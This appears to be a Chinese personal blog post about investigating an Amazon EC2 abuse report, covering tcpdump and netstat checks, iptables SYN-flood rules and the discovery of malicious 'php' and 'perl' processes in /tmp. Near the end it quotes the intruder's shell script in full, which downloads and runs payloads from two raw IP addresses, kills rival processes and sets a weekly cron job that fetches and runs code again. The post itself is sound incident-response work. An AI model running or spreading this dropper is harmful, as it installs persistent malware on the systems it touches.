亚马逊上ec2发来邮件Your Amazon EC2 Abuse Report,说是流量超标,It's possible that your environment has been compromised by an external attacker让我们自己检查检查。

   开始检查:使用who命令查看的时候,只有我一个人在今天登陆的痕迹;接下来使用last命令,看到最近有几个人在登陆成功,有一个ip地址非常的奇怪,在ip地址后面加了S;用tcpdump分析数据的流向,发现自己的服务器总是向一个服务器发送包(tcp port 80),查看80端口数据流向看出来的。

   因为也没有经验,就将报的错误google了下,发现有人的log和我的类似,可能会是SYN***,简单的来说就是利用三次握手协议,耗尽服务器的宝贵的资源,http://www.study-area.org/tips/syn_flood.htm, 一点介绍吧


   log中显示

2014-01-06 19:32:27.508614 IP (tos 0x0, ttl 64, id 46584, offset 0, flags [DF], proto TCP (6), length 60) 10.134.181.166.47682 >200.156.100.119.80: Flags [S], cksum 0xed6e (incorrect> 0xe3d1), seq 368868445, win 14600, options [mss 1460,sackOK,TS val 600296754 ecr 0,nop,wscale 7], length 0

   于是看了网上的建议:首先建立防火墙,不行再换ip,再不行就换instance,重启服务。


   首先第一步:建立防火墙

                       只开启我们服务需要的相应的端口,比如80端口 ,8080端口,当然,在脚本中写入防SYN***

                       iptables -A synflood -m limit --limit 10/s --limit-burst 1000 -j RETURN

                       iptables -A synflood -p tcp -j REJECT --reject-with tcp-reset

                       iptables -A INPUT -p tcp -m state --state NEW -j synflood

                       

   刚开始是好的,亚马逊发来贺电^ ^,详细询问了情况,但是过了两天,亚马逊又发来贺电说服务器的流量有问题,之前的修改防火墙貌似没有奏效


   执行第二步:修改ip地址

                       之前用过亚马逊的ec2,好害怕会停,停了之后就会数据会掉,赶紧备份个,其实在边上的AMI上相当于镜像,是最后被逼无奈的时候用的,可能数据库什么的都会掉写数据,毕竟没有做热备份

                       在Elastic中选择ip地址,allocate到相应的instance中,如果有域名,可别忘了提前在域名服务器中修改对应的域名哈


   换了ip地址之后,用free命令看时,使用的内存降低了,降低了200多M,但是原因不再于此,现在回想起来可能是连接数少了,所以内存减小了【总之有疑问】


   亚马逊的邮件还是发个不停,这时候我觉得有问题了,或许问题不在外面,而是在我的服务器上。


   执行第三步:查看我自身的系统tcpdump的结果是系统的80端口数据流量有问题,

wKiom1LU_a7DH7-VABHaSF0DsUQ509.jpg

使用netstat -ant|grep 80,其中有好几个都是由名字叫php的进程开启的,据我所知的服务不涉及php,于是用ps aux|grep php查看进程,发现了大量的名字均为php的进程,并且占用内存和cpu相当的高,用pkill 杀死之后,马上查看tcpdump数据,发现数据量马上变化

wKioL1LU_drSlu9OAAoq1Q2-aMg429.jpg

,但是过了不到5分钟,流量又出现原来的问题,由此所知,可能不止一个这样的脚本,并且或许写到了cron或者拥有守护进程,脚本的路径在/tmp下


                       使用top查看,又出现了类似与php的perl进程名字,这里肯定就有问题了


                       使用more查看不了php,因为是二进制文件,加密过,在tmp下又发现了一个shell脚本:内容我贴上来:

#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/shb -O ..a
chmod +x ..a
./..a
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm; wget 193.12.247.103/ru ; bash ru ; rm -rf ru
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron

rm -rf /tmp/cron

我在这个网址只能找到这个shell脚本,其他的有的不在,有的已经加密了,看来这哥们已经在系统上做升级了,


      执行第四步:将找到的脚本全都移除,杀死,ok



       回想:我这次主要是判断方向出错,判断的时候使用:netstat -n -p TCP,有很多SYN_RECV的,即处于半链接状态的就是SYN***,还有top,tcpdump非常非常有用(port 80),还有,防火墙必须设置成 不能被扫描到;数据一定一定备份~~~